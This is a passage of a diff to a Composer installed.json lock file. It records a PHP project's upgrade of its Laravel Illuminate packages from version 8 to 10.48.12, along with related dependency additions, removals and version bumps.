"dist", @@ -1870,29 +2523,81 @@ }, "install-path": "../illuminate/http" }, + { + "name": "illuminate/log", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", + "source": { + "type": "git", + "url": "https://github.com/illuminate/log.git", + "reference": "64bd048e4a793e4bfe2793be152c662f1c08634c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/log/zipball/64bd048e4a793e4bfe2793be152c662f1c08634c", + "reference": "64bd048e4a793e4bfe2793be152c662f1c08634c", + "shasum": "" + }, + "require": { + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "monolog/monolog": "^3.0", + "php": "^8.1" + }, + "time": "2024-01-24T14:29:17+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "10.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Illuminate\\Log\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Log package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "install-path": "../illuminate/log" + }, { "name": "illuminate/macroable", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/macroable.git", - "reference": "aed81891a6e046fdee72edd497f822190f61c162" + "reference": "dff667a46ac37b634dcf68909d9d41e94dc97c27" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/macroable/zipball/aed81891a6e046fdee72edd497f822190f61c162", - "reference": "aed81891a6e046fdee72edd497f822190f61c162", + "url": "https://api.github.com/repos/illuminate/macroable/zipball/dff667a46ac37b634dcf68909d9d41e94dc97c27", + "reference": "dff667a46ac37b634dcf68909d9d41e94dc97c27", "shasum": "" }, "require": { - "php": "^7.3|^8.0" + "php": "^8.1" }, - "time": "2021-11-16T13:57:03+00:00", + "time": "2023-06-05T12:46:42+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1921,31 +2626,31 @@ }, { "name": "illuminate/pagination", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/pagination.git", - "reference": "16fe8dc35f9d18c58a3471469af656a02e9ab692" + "reference": "616874b9607ff35925347e1710a8b5151858cdf2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/pagination/zipball/16fe8dc35f9d18c58a3471469af656a02e9ab692", - "reference": "16fe8dc35f9d18c58a3471469af656a02e9ab692", + "url": "https://api.github.com/repos/illuminate/pagination/zipball/616874b9607ff35925347e1710a8b5151858cdf2", + "reference": "616874b9607ff35925347e1710a8b5151858cdf2", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "ext-filter": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, - "time": "2022-06-27T13:26:06+00:00", + "time": "2024-04-11T14:31:05+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1974,29 +2679,29 @@ }, { "name": "illuminate/pipeline", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/pipeline.git", - "reference": "23aeff5b26ae4aee3f370835c76bd0f4e93f71d2" + "reference": "f802187e917a171332cc90f8c1a102939c57405d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/pipeline/zipball/23aeff5b26ae4aee3f370835c76bd0f4e93f71d2", - "reference": "23aeff5b26ae4aee3f370835c76bd0f4e93f71d2", + "url": "https://api.github.com/repos/illuminate/pipeline/zipball/f802187e917a171332cc90f8c1a102939c57405d", + "reference": "f802187e917a171332cc90f8c1a102939c57405d", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, - "time": "2021-03-26T18:39:16+00:00", + "time": "2023-12-19T14:47:26+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -2025,47 +2730,48 @@ }, { "name": "illuminate/queue", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/queue.git", - "reference": "0023daabf67743f7a2bd8328ca2b5537d93e4ae7" + "reference": "ee2446c88027cbe2a4d9f286ef66589fdf9f61ed" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/queue/zipball/0023daabf67743f7a2bd8328ca2b5537d93e4ae7", - "reference": "0023daabf67743f7a2bd8328ca2b5537d93e4ae7", + "url": "https://api.github.com/repos/illuminate/queue/zipball/ee2446c88027cbe2a4d9f286ef66589fdf9f61ed", + "reference": "ee2446c88027cbe2a4d9f286ef66589fdf9f61ed", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/console": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/database": "^8.0", - "illuminate/filesystem": "^8.0", - "illuminate/pipeline": "^8.0", - "illuminate/support": "^8.0", - "laravel/serializable-closure": "^1.0", - "opis/closure": "^3.6", - "php": "^7.3|^8.0", - "ramsey/uuid": "^4.2.2", - "symfony/process": "^5.4" + "illuminate/collections": "^10.0", + "illuminate/console": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/database": "^10.0", + "illuminate/filesystem": "^10.0", + "illuminate/pipeline": "^10.0", + "illuminate/support": "^10.0", + "laravel/serializable-closure": "^1.2.2", + "php": "^8.1", + "ramsey/uuid": "^4.7", + "symfony/process": "^6.2" }, "suggest": { - "aws/aws-sdk-php": "Required to use the SQS queue driver and DynamoDb failed job storage (^3.198.1).", + "aws/aws-sdk-php": "Required to use the SQS queue driver and DynamoDb failed job storage (^3.235.5).", + "ext-filter": "Required to use the SQS queue worker.", + "ext-mbstring": "Required to use the database failed job providers.", "ext-pcntl": "Required to use all features of the queue worker.", + "ext-pdo": "Required to use the database queue worker.", "ext-posix": "Required to use all features of the queue worker.", - "illuminate/redis": "Required to use the Redis queue driver (^8.0).", + "illuminate/redis": "Required to use the Redis queue driver (^10.0).", "pda/pheanstalk": "Required to use the Beanstalk queue driver (^4.0)." }, - "time": "2022-07-21T19:36:12+00:00", + "time": "2024-03-11T21:46:09+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -2094,37 +2800,38 @@ }, { "name": "illuminate/session", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/session.git", - "reference": "9c9988d7229d888c098eebbbb9fcb8c68580411c" + "reference": "a095707b83327e27ba292c9c4d2413888b1f517c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/session/zipball/9c9988d7229d888c098eebbbb9fcb8c68580411c", - "reference": "9c9988d7229d888c098eebbbb9fcb8c68580411c", + "url": "https://api.github.com/repos/illuminate/session/zipball/a095707b83327e27ba292c9c4d2413888b1f517c", + "reference": "a095707b83327e27ba292c9c4d2413888b1f517c", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/filesystem": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/finder": "^5.4", - "symfony/http-foundation": "^5.4" + "ext-ctype": "*", + "ext-session": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/filesystem": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1", + "symfony/finder": "^6.2", + "symfony/http-foundation": "^6.4" }, "suggest": { - "illuminate/console": "Required to use the session:table command (^8.0)." + "illuminate/console": "Required to use the session:table command (^10.0)." }, - "time": "2022-01-13T18:28:06+00:00", + "time": "2023-12-29T21:53:12+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -2153,46 +2860,49 @@ }, { "name": "illuminate/support", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/support.git", - "reference": "1c79242468d3bbd9a0f7477df34f9647dde2a09b" + "reference": "263f389d81488c237846b69469f91387ca2729f3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/support/zipball/1c79242468d3bbd9a0f7477df34f9647dde2a09b", - "reference": "1c79242468d3bbd9a0f7477df34f9647dde2a09b", + "url": "https://api.github.com/repos/illuminate/support/zipball/263f389d81488c237846b69469f91387ca2729f3", + "reference": "263f389d81488c237846b69469f91387ca2729f3", "shasum": "" }, "require": { - "doctrine/inflector": "^1.4|^2.0", - "ext-json": "*", + "doctrine/inflector": "^2.0", + "ext-ctype": "*", + "ext-filter": "*", "ext-mbstring": "*", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "nesbot/carbon": "^2.53.1", - "php": "^7.3|^8.0", - "voku/portable-ascii": "^1.6.1" + "illuminate/collections": "^10.0", + "illuminate/conditionable": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "nesbot/carbon": "^2.67", + "php": "^8.1", + "voku/portable-ascii": "^2.0" }, "conflict": { "tightenco/collect": "<5.5.33" }, "suggest": { - "illuminate/filesystem": "Required to use the composer class (^8.0).", - "league/commonmark": "Required to use Str::markdown() and Stringable::markdown() (^1.3|^2.0.2).", - "ramsey/uuid": "Required to use Str::uuid() (^4.2.2).", - "symfony/process": "Required to use the composer class (^5.4).", - "symfony/var-dumper": "Required to use the dd function (^5.4).", + "illuminate/filesystem": "Required to use the composer class (^10.0).", + "league/commonmark": "Required to use Str::markdown() and Stringable::markdown() (^2.0.2).", + "ramsey/uuid": "Required to use Str::uuid() (^4.7).", + "symfony/process": "Required to use the composer class (^6.2).", + "symfony/uid": "Required to use Str::ulid() (^6.2).", + "symfony/var-dumper": "Required to use the dd function (^6.2).", "vlucas/phpdotenv": "Required to use the Env class and env helper (^5.4.1)." }, - "time": "2022-09-21T21:30:03+00:00", + "time": "2024-05-16T21:33:51+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -2224,35 +2934,35 @@ }, { "name": "illuminate/view", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/view.git", - "reference": "5e73eef48d9242532f81fadc14c816a01bfb1388" + "reference": "76a1405bc3e1d0a19e8d2db3bd5b991ed10b31f7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/view/zipball/5e73eef48d9242532f81fadc14c816a01bfb1388", - "reference": "5e73eef48d9242532f81fadc14c816a01bfb1388", + "url": "https://api.github.com/repos/illuminate/view/zipball/76a1405bc3e1d0a19e8d2db3bd5b991ed10b31f7", + "reference": "76a1405bc3e1d0a19e8d2db3bd5b991ed10b31f7", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/events": "^8.0", - "illuminate/filesystem": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" - }, - "time": "2022-04-14T13:47:10+00:00", + "ext-tokenizer": "*", + "illuminate/collections": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/events": "^10.0", + "illuminate/filesystem": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" + }, + "time": "2024-05-21T17:37:01+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -2398,6 +3108,67 @@ }, "install-path": "../laravel/helpers" }, + { + "name": "laravel/prompts", + "version": "v0.1.23", + "version_normalized": "0.1.23.0", + "source": { + "type": "git", + "url": "https://github.com/laravel/prompts.git", + "reference": "9bc4df7c699b0452c6b815e64a2d84b6d7f99400" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/prompts/zipball/9bc4df7c699b0452c6b815e64a2d84b6d7f99400", + "reference": "9bc4df7c699b0452c6b815e64a2d84b6d7f99400", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "illuminate/collections": "^10.0|^11.0", + "php": "^8.1", + "symfony/console": "^6.2|^7.0" + }, + "conflict": { + "illuminate/console": ">=10.17.0 <10.25.0", + "laravel/framework": ">=10.17.0 <10.25.0" + }, + "require-dev": { + "mockery/mockery": "^1.5", + "pestphp/pest": "^2.3", + "phpstan/phpstan": "^1.11", + "phpstan/phpstan-mockery": "^1.1" + }, + "suggest": { + "ext-pcntl": "Required for the spinner to be animated." + }, + "time": "2024-05-27T13:53:20+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "0.1.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "src/helpers.php" + ], + "psr-4": { + "Laravel\\Prompts\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Add beautiful and user-friendly forms to your command-line applications.", + "support": { + "issues": "https://github.com/laravel/prompts/issues", + "source": "https://github.com/laravel/prompts/tree/v0.1.23" + }, + "install-path": "../laravel/prompts" + }, { "name": "laravel/serializable-closure", "version": "v1.3.3", @@ -2463,57 +3234,58 @@ }, { "name": "league/flysystem", - "version": "1.1.10", - "version_normalized": "1.1.10.0", + "version": "3.28.0", + "version_normalized": "3.28.0.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem.git", - "reference": "3239285c825c152bcc315fe0e87d6b55f5972ed1" + "reference": "e611adab2b1ae2e3072fa72d62c62f52c2bf1f0c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/3239285c825c152bcc315fe0e87d6b55f5972ed1", - "reference": "3239285c825c152bcc315fe0e87d6b55f5972ed1", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/e611adab2b1ae2e3072fa72d62c62f52c2bf1f0c", + "reference": "e611adab2b1ae2e3072fa72d62c62f52c2bf1f0c", "shasum": "" }, "require": { - "ext-fileinfo": "*", - "league/mime-type-detection": "^1.3", - "php": "^7.2.5 || ^8.0" + "league/flysystem-local": "^3.0.0", + "league/mime-type-detection": "^1.0.0", + "php": "^8.0.2" }, "conflict": { - "league/flysystem-sftp": "<1.0.6" + "async-aws/core": "<1.19.0", + "async-aws/s3": "<1.14.0", + "aws/aws-sdk-php": "3.209.31 || 3.210.0", + "guzzlehttp/guzzle": "<7.0", + "guzzlehttp/ringphp": "<1.1.1", + "phpseclib/phpseclib": "3.0.15", + "symfony/http-client": "<5.2" }, "require-dev": { - "phpspec/prophecy": "^1.11.1", - "phpunit/phpunit": "^8.5.8" + "async-aws/s3": "^1.5 || ^2.0", + "async-aws/simple-s3": "^1.1 || ^2.0", + "aws/aws-sdk-php": "^3.295.10", + "composer/semver": "^3.0", + "ext-fileinfo": "*", + "ext-ftp": "*", + "ext-mongodb": "^1.3", + "ext-zip": "*", + "friendsofphp/php-cs-fixer": "^3.5", + "google/cloud-storage": "^1.23", + "guzzlehttp/psr7": "^2.6", + "microsoft/azure-storage-blob": "^1.1", + "mongodb/mongodb": "^1.2", + "phpseclib/phpseclib": "^3.0.36", + "phpstan/phpstan": "^1.10", + "phpunit/phpunit": "^9.5.11|^10.0", + "sabre/dav": "^4.6.0" }, - "suggest": { - "ext-ftp": "Allows you to use FTP server storage", - "ext-openssl": "Allows you to use FTPS server storage", - "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", - "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", - "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", - "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", - "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", - "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", - "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", - "league/flysystem-webdav": "Allows you to use WebDAV storage", - "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter", - "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", - "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications" - }, - "time": "2022-10-04T09:16:37+00:00", + "time": "2024-05-22T10:09:12+00:00", "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - } - }, "installation-source": "dist", "autoload": { "psr-4": { - "League\\Flysystem\\": "src/" + "League\\Flysystem\\": "src" } }, "notification-url": "https://packagist.org/downloads/", @@ -2523,40 +3295,80 @@ "authors": [ { "name": "Frank de Jonge", - "email": "info@frenky.net" + "email": "info@frankdejonge.nl" } ], - "description": "Filesystem abstraction: Many filesystems, one API.", + "description": "File storage abstraction for PHP", "keywords": [ - "Cloud Files", "WebDAV", - "abstraction", "aws", "cloud", - "copy.com", - "dropbox", - "file systems", + "file", "files", "filesystem", "filesystems", "ftp", - "rackspace", - "remote", "s3", "sftp", "storage" ], "support": { "issues": "https://github.com/thephpleague/flysystem/issues", - "source": "https://github.com/thephpleague/flysystem/tree/1.1.10" + "source": "https://github.com/thephpleague/flysystem/tree/3.28.0" }, - "funding": [ + "install-path": "../league/flysystem" + }, + { + "name": "league/flysystem-local", + "version": "3.28.0", + "version_normalized": "3.28.0.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem-local.git", + "reference": "13f22ea8be526ea58c2ddff9e158ef7c296e4f40" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem-local/zipball/13f22ea8be526ea58c2ddff9e158ef7c296e4f40", + "reference": "13f22ea8be526ea58c2ddff9e158ef7c296e4f40", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "league/flysystem": "^3.0.0", + "league/mime-type-detection": "^1.0.0", + "php": "^8.0.2" + }, + "time": "2024-05-06T20:05:52+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "League\\Flysystem\\Local\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ { - "url": "https://offset.earth/frankdejonge", - "type": "other" + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" } ], - "install-path": "../league/flysystem" + "description": "Local filesystem adapter for Flysystem.", + "keywords": [ + "Flysystem", + "file", + "files", + "filesystem", + "local" + ], + "support": { + "source": "https://github.com/thephpleague/flysystem-local/tree/3.28.0" + }, + "install-path": "../league/flysystem-local" }, { "name": "league/mime-type-detection", @@ -2731,43 +3543,42 @@ }, { "name": "monolog/monolog", - "version": "2.9.3", - "version_normalized": "2.9.3.0", + "version": "3.6.0", + "version_normalized": "3.6.0.0", "source": { "type": "git", "url": "https://github.com/Seldaek/monolog.git", - "reference": "a30bfe2e142720dfa990d0a7e573997f5d884215" + "reference": "4b18b21a5527a3d5ffdac2fd35d3ab25a9597654" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/Seldaek/monolog/zipball/a30bfe2e142720dfa990d0a7e573997f5d884215", - "reference": "a30bfe2e142720dfa990d0a7e573997f5d884215", + "url": "https://api.github.com/repos/Seldaek/monolog/zipball/4b18b21a5527a3d5ffdac2fd35d3ab25a9597654", + "reference": "4b18b21a5527a3d5ffdac2fd35d3ab25a9597654", "shasum": "" }, "require": { - "php": ">=7.2", - "psr/log": "^1.0.1 || ^2.0 || ^3.0" + "php": ">=8.1", + "psr/log": "^2.0 || ^3.0" }, "provide": { - "psr/log-implementation": "1.0.0 || 2.0.0 || 3.0.0" + "psr/log-implementation": "3.0.0" }, "require-dev": { - "aws/aws-sdk-php": "^2.4.9 || ^3.0", + "aws/aws-sdk-php": "^3.0", "doctrine/couchdb": "~1.0@dev", "elasticsearch/elasticsearch": "^7 || ^8", "ext-json": "*", - "graylog2/gelf-php": "^1.4.2 || ^2@dev", - "guzzlehttp/guzzle": "^7.4", + "graylog2/gelf-php": "^1.4.2 || ^2.0", + "guzzlehttp/guzzle": "^7.4.5", "guzzlehttp/psr7": "^2.2", "mongodb/mongodb": "^1.8", "php-amqplib/php-amqplib": "~2.4 || ^3", - "phpspec/prophecy": "^1.15", - "phpstan/phpstan": "^1.10", - "phpunit/phpunit": "^8.5.38 || ^9.6.19", - "predis/predis": "^1.1 || ^2.0", - "rollbar/rollbar": "^1.3 || ^2 || ^3", + "phpstan/phpstan": "^1.9", + "phpstan/phpstan-deprecation-rules": "^1.0", + "phpstan/phpstan-strict-rules": "^1.4", + "phpunit/phpunit": "^10.5.17", + "predis/predis": "^1.1 || ^2", "ruflin/elastica": "^7", - "swiftmailer/swiftmailer": "^5.3|^6.0", "symfony/mailer": "^5.4 || ^6", "symfony/mime": "^5.4 || ^6" }, @@ -2787,11 +3598,11 @@ "rollbar/rollbar": "Allow sending log messages to Rollbar", "ruflin/elastica": "Allow sending log messages to an Elastic Search server" }, - "time": "2024-04-12T20:52:51+00:00", + "time": "2024-04-12T21:02:21+00:00", "type": "library", "extra": { "branch-alias": { - "dev-main": "2.x-dev" + "dev-main": "3.x-dev" } }, "installation-source": "dist", @@ -2820,7 +3631,7 @@ ], "support": { "issues": "https://github.com/Seldaek/monolog/issues", - "source": "https://github.com/Seldaek/monolog/tree/2.9.3" + "source": "https://github.com/Seldaek/monolog/tree/3.6.0" }, "funding": [ { @@ -2836,17 +3647,17 @@ }, { "name": "nesbot/carbon", - "version": "2.72.3", - "version_normalized": "2.72.3.0", + "version": "2.72.5", + "version_normalized": "2.72.5.0", "source": { "type": "git", "url": "https://github.com/briannesbitt/Carbon.git", - "reference": "0c6fd108360c562f6e4fd1dedb8233b423e91c83" + "reference": "afd46589c216118ecd48ff2b95d77596af1e57ed" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/briannesbitt/Carbon/zipball/0c6fd108360c562f6e4fd1dedb8233b423e91c83", - "reference": "0c6fd108360c562f6e4fd1dedb8233b423e91c83", + "url": "https://api.github.com/repos/briannesbitt/Carbon/zipball/afd46589c216118ecd48ff2b95d77596af1e57ed", + "reference": "afd46589c216118ecd48ff2b95d77596af1e57ed", "shasum": "" }, "require": { @@ -2874,15 +3685,15 @@ "phpunit/phpunit": "^7.5.20 || ^8.5.26 || ^9.5.20", "squizlabs/php_codesniffer": "^3.4" }, - "time": "2024-01-25T10:35:09+00:00", + "time": "2024-06-03T19:18:41+00:00", "bin": [ "bin/carbon" ], "type": "library", "extra": { "branch-alias": { - "dev-3.x": "3.x-dev", - "dev-master": "2.x-dev" + "dev-master": "3.x-dev", + "dev-2.x": "2.x-dev" }, "laravel": { "providers": [ @@ -2944,6 +3755,95 @@ ], "install-path": "../nesbot/carbon" }, + { + "name": "nunomaduro/termwind", + "version": "v1.15.1", + "version_normalized": "1.15.1.0", + "source": { + "type": "git", + "url": "https://github.com/nunomaduro/termwind.git", + "reference": "8ab0b32c8caa4a2e09700ea32925441385e4a5dc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/8ab0b32c8caa4a2e09700ea32925441385e4a5dc", + "reference": "8ab0b32c8caa4a2e09700ea32925441385e4a5dc", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": "^8.0", + "symfony/console": "^5.3.0|^6.0.0" + }, + "require-dev": { + "ergebnis/phpstan-rules": "^1.0.", + "illuminate/console": "^8.0|^9.0", + "illuminate/support": "^8.0|^9.0", + "laravel/pint": "^1.0.0", + "pestphp/pest": "^1.21.0", + "pestphp/pest-plugin-mock": "^1.0", + "phpstan/phpstan": "^1.4.6", + "phpstan/phpstan-strict-rules": "^1.1.0", + "symfony/var-dumper": "^5.2.7|^6.0.0", + "thecodingmachine/phpstan-strict-rules": "^1.0.0" + }, + "time": "2023-02-08T01:06:31+00:00", + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Termwind\\Laravel\\TermwindServiceProvider" + ] + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "src/Functions.php" + ], + "psr-4": { + "Termwind\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "Its like Tailwind CSS, but for the console.", + "keywords": [ + "cli", + "console", + "css", + "package", + "php", + "style" + ], + "support": { + "issues": "https://github.com/nunomaduro/termwind/issues", + "source": "https://github.com/nunomaduro/termwind/tree/v1.15.1" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + }, + { + "url": "https://github.com/xiCO2k", + "type": "github" + } + ], + "install-path": "../nunomaduro/termwind" + }, { "name": "opensid/router", "version": "dev-master", @@ -3015,39 +3915,43 @@ }, { "name": "openspout/openspout", - "version": "v3.7.4", - "version_normalized": "3.7.4.0", + "version": "v4.24.1", + "version_normalized": "4.24.1.0", "source": { "type": "git", "url": "https://github.com/openspout/openspout.git", - "reference": "dfbbd53b5edcd486b45a37f6a04fac33073c70f3" + "reference": "003991abc5cfee93423254774c71766d38cbe340" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/openspout/openspout/zipball/dfbbd53b5edcd486b45a37f6a04fac33073c70f3", - "reference": "dfbbd53b5edcd486b45a37f6a04fac33073c70f3", + "url": "https://api.github.com/repos/openspout/openspout/zipball/003991abc5cfee93423254774c71766d38cbe340", + "reference": "003991abc5cfee93423254774c71766d38cbe340", "shasum": "" }, "require": { "ext-dom": "*", + "ext-fileinfo": "*", "ext-filter": "*", "ext-libxml": "*", "ext-xmlreader": "*", "ext-zip": "*", - "php": "~7.3.0 || ~7.4.0 || ~8.0.0 || ~8.1.0" + "php": "~8.1.0 || ~8.2.0 || ~8.3.0" }, "require-dev": { "ext-zlib": "*", - "friendsofphp/php-cs-fixer": "^3.4", - "phpstan/phpstan": "^1.4", - "phpstan/phpstan-phpunit": "^1.0", - "phpunit/phpunit": "^9.5" + "friendsofphp/php-cs-fixer": "^3.57.1", + "infection/infection": "^0.28.1", + "phpbench/phpbench": "^1.2.15", + "phpstan/phpstan": "^1.11.1", + "phpstan/phpstan-phpunit": "^1.4.0", + "phpstan/phpstan-strict-rules": "^1.6.0", + "phpunit/phpunit": "^10.5.20" }, "suggest": { - "ext-iconv": "To handle non UTF-8 CSV files (if \"php-intl\" is not already installed or is too limited)", - "ext-intl": "To handle non UTF-8 CSV files (if \"iconv\" is not already installed)" + "ext-iconv": "To handle non UTF-8 CSV files (if \"php-mbstring\" is not already installed or is too limited)", + "ext-mbstring": "To handle non UTF-8 CSV files (if \"iconv\" is not already installed)" }, - "time": "2022-03-31T06:15:15+00:00", + "time": "2024-05-20T09:32:59+00:00", "type": "library", "extra": { "branch-alias": { @@ -3080,98 +3984,30 @@ "odf", "ods", "office", - "open", - "php", - "read", - "scale", - "spreadsheet", - "stream", - "write", - "xlsx" - ], - "support": { - "issues": "https://github.com/openspout/openspout/issues", - "source": "https://github.com/openspout/openspout/tree/v3.7.4" - }, - "funding": [ - { - "url": "https://paypal.me/filippotessarotto", - "type": "custom" - }, - { - "url": "https://github.com/Slamdunk", - "type": "github" - } - ], - "install-path": "../openspout/openspout" - }, - { - "name": "opis/closure", - "version": "3.6.3", - "version_normalized": "3.6.3.0", - "source": { - "type": "git", - "url": "https://github.com/opis/closure.git", - "reference": "3d81e4309d2a927abbe66df935f4bb60082805ad" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/opis/closure/zipball/3d81e4309d2a927abbe66df935f4bb60082805ad", - "reference": "3d81e4309d2a927abbe66df935f4bb60082805ad", - "shasum": "" - }, - "require": { - "php": "^5.4 || ^7.0 || ^8.0" - }, - "require-dev": { - "jeremeamia/superclosure": "^2.0", - "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.0" - }, - "time": "2022-01-27T09:35:39+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.6.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "files": [ - "functions.php" - ], - "psr-4": { - "Opis\\Closure\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" + "open", + "php", + "read", + "scale", + "spreadsheet", + "stream", + "write", + "xlsx" ], - "authors": [ + "support": { + "issues": "https://github.com/openspout/openspout/issues", + "source": "https://github.com/openspout/openspout/tree/v4.24.1" + }, + "funding": [ { - "name": "Marius Sarca", - "email": "marius.sarca@gmail.com" + "url": "https://paypal.me/filippotessarotto", + "type": "custom" }, { - "name": "Sorin Sarca", - "email": "sarca_sorin@hotmail.com" + "url": "https://github.com/Slamdunk", + "type": "github" } ], - "description": "A library that can be used to serialize closures (anonymous functions) and arbitrary objects.", - "homepage": "https://opis.io/closure", - "keywords": [ - "anonymous functions", - "closure", - "function", - "serializable", - 